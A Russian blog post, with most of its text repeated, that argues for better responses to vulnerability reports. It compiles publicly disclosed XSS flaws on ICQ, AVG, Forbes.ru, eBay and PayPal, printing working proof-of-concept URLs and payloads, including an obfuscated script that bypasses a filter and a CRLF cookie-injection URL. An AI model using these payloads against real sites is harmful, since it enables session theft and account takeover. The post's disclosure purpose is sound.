В одном из своих постов я пытался привлечь внимание к проблеме безответственного отношения к уязвимостям различных веб-сайтов. Представьте себе ситуацию: вы энтузиаст в области информационной безопасности, нашли уязвимости на каком-нибудь известном сайте и пытаетесь о ней сообщить, но:
В подобных ситуациях чаще всего энтузиасты ждут, а потом раскрывают детали уязвимостей. Но проблема в том, что даже при огласке ничего не меняется. Этот пост — компиляция подобных огласок (т.е. вся представленная информация уже была доступна публично длительное время) об уязвимостях на крупных ресурсах, возможно, что-нибудь да и изменится.
Для поста выбрана XSS уязвимость (конечно, это атака, но мы не об этом). Так как она Client Side и не несёт в себе активной server-side угрозы.
Все* перечисленные ниже уязвимости являются неисправленными на момент написания поста, т.е. «0day».
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/e9c/f78/17f/e9cf7817f5ec9b1b60fdddc47141739e.png)
627 сайт по популярности в России. В былое время — самый популярный в мире Instant Messenger. Хоть это и reflected xss, но работает и в Chrome
http://search.icq.com/search/selected_img.php?site_url=javascript:alert(document.domain)
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d9a/7a7/7a2/d9a7a77a24a1f0805b8b6ae57e9d94e7.png)
90-ый по популярности в США. Сайт известной американской антивирусной компании. Также: reflected + работоспособность в Chrome.
http://isearch.avg.com/videos?s=sideNav&cklang=en-en&cmpid=%27%3balert%28document.domain%29%3b%2f%2f&q=test
Всем известный Forbes (164 по посещаемости в РФ). Так как мы можем выполнить произвольный JS, значит мы можем и изменить содержимое страницы, например — написать что Habrahabr купил Forbes.
![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/1a2/3e5/6a2/1a23e56a2ead6d965237426fefdcb7e7.jpg)
Reflected XSS: http://www.forbes.ru/search-content?keys=">?<script>alert(document.domain)</script> (FF)
![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ad8/80e/254/ad880e254837f4d550aa81fcb4a822cd.jpg)
DOM XSS (уязвимость в библиотеке Masha.JS), http://forbes.ru/#sel=<img src = x onerror=alert(document.domain)>
Всемирно известный интернет-аукцион, 6 по популярности в США. Внезапно — хранимая XSS! На ebay есть саб-портал — members.ebay.com. Пользователи могут вставлять себе в подпись ограниченный html/js («по умолчанию» нет доступа к cookie). Но есть возможность обойти этот фильтр — просто обфусцировать свой код.
![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/cd7/b34/e1b/cd7b34e1b92aed72cecefa4ba30ed28d.jpg)
16 по популярности в США. Добрались до звездочки(*), а теперь пояснение. Долгое время эта уязвимость оставалась неисправленной, даже после репорта автора этой находки. PayPal говорил, что нет импакта и платить ничего не будет (собственно, и не исправлял уязвимости). Уже после публикации видео на youtube (которое им было отправлено до публичного раскрытия) paypal всё исправил, но так и не ответил автору… Здесь сценарий чуть сложнее, чем обычно. Вектор следующий:
Призыв один: обратить внимание владельцам веб-сайтов на пункты в начале статьи и адекватней реагировать на сообщения об уязвимостях, даже если у вас просто какой-то личный, небольшой проект.
С наступающим!
- Невозможно найти никаких контактных данных для связи с тех. поддержкой сайта, а лучше именно со службой безопасности;
- Контактные данные есть, но вам никто не отвечает;
- Или чудо! Контактные данные есть, вам отвечают, но говорят что это не уязвимость и исправлять они ничего не будут.
В подобных ситуациях чаще всего энтузиасты ждут, а потом раскрывают детали уязвимостей. Но проблема в том, что даже при огласке ничего не меняется. Этот пост — компиляция подобных огласок (т.е. вся представленная информация уже была доступна публично длительное время) об уязвимостях на крупных ресурсах, возможно, что-нибудь да и изменится.
Для поста выбрана XSS уязвимость (конечно, это атака, но мы не об этом). Так как она Client Side и не несёт в себе активной server-side угрозы.
XSS — возможность встроить свой JS на целевом сайте и выполнять в т.ч. произвольные действия под авторизованным пользователем (считается «полноценной», если можно проводить кроссдоменные действия). В некоторых случаях позволяет полностью «увести» аккаунт пользователя (кража cookie, смена пароля).
Все* перечисленные ниже уязвимости являются неисправленными на момент написания поста, т.е. «0day».
ICQ.com, reflected XSS
![](https://habrastorage.org/getpro/habr/post_images/e9c/f78/17f/e9cf7817f5ec9b1b60fdddc47141739e.png)
627 сайт по популярности в России. В былое время — самый популярный в мире Instant Messenger. Хоть это и reflected xss, но работает и в Chrome
http://search.icq.com/search/selected_img.php?site_url=javascript:alert(document.domain)
AVG.com, reflected XSS
![](https://habrastorage.org/getpro/habr/post_images/d9a/7a7/7a2/d9a7a77a24a1f0805b8b6ae57e9d94e7.png)
90-ый по популярности в США. Сайт известной американской антивирусной компании. Также: reflected + работоспособность в Chrome.
http://isearch.avg.com/videos?s=sideNav&cklang=en-en&cmpid=%27%3balert%28document.domain%29%3b%2f%2f&q=test
Forbes.ru, reflected + dom XSS
Всем известный Forbes (164 по посещаемости в РФ). Так как мы можем выполнить произвольный JS, значит мы можем и изменить содержимое страницы, например — написать что Habrahabr купил Forbes.
![image](https://habrastorage.org/getpro/habr/post_images/1a2/3e5/6a2/1a23e56a2ead6d965237426fefdcb7e7.jpg)
Reflected XSS: http://www.forbes.ru/search-content?keys=">?<script>alert(document.domain)</script> (FF)
![image](https://habrastorage.org/getpro/habr/post_images/ad8/80e/254/ad880e254837f4d550aa81fcb4a822cd.jpg)
DOM XSS (уязвимость в библиотеке Masha.JS), http://forbes.ru/#sel=<img src = x onerror=alert(document.domain)>
Ebay.com, strored XSS
Всемирно известный интернет-аукцион, 6 по популярности в США. Внезапно — хранимая XSS! На ebay есть саб-портал — members.ebay.com. Пользователи могут вставлять себе в подпись ограниченный html/js («по умолчанию» нет доступа к cookie). Но есть возможность обойти этот фильтр — просто обфусцировать свой код.
<script>var _0xf17c=["\x64\x6F\x6D\x61\x69\x6E"];alert(document[_0xf17c[0]]);</script>
![image](https://habrastorage.org/getpro/habr/post_images/cd7/b34/e1b/cd7b34e1b92aed72cecefa4ba30ed28d.jpg)
PayPal, CRLF + XSS via Cookie
16 по популярности в США. Добрались до звездочки(*), а теперь пояснение. Долгое время эта уязвимость оставалась неисправленной, даже после репорта автора этой находки. PayPal говорил, что нет импакта и платить ничего не будет (собственно, и не исправлял уязвимости). Уже после публикации видео на youtube (которое им было отправлено до публичного раскрытия) paypal всё исправил, но так и не ответил автору… Здесь сценарий чуть сложнее, чем обычно. Вектор следующий:
- Первым шагом при помощи CRLF инъекции внедряется произвольная Cookie пользователю (Cookie injection via CRLF), например
https://www.paypal.com/.x%0dSet-Cookie:ololo=122;%20path=/;%20domain=.paypal.com
- Находится место, где Cookie показывается пользователю в «чистом» виде (ad.paypal.com/jin/cookie.jsp)
Призыв один: обратить внимание владельцам веб-сайтов на пункты в начале статьи и адекватней реагировать на сообщения об уязвимостях, даже если у вас просто какой-то личный, небольшой проект.
С наступающим!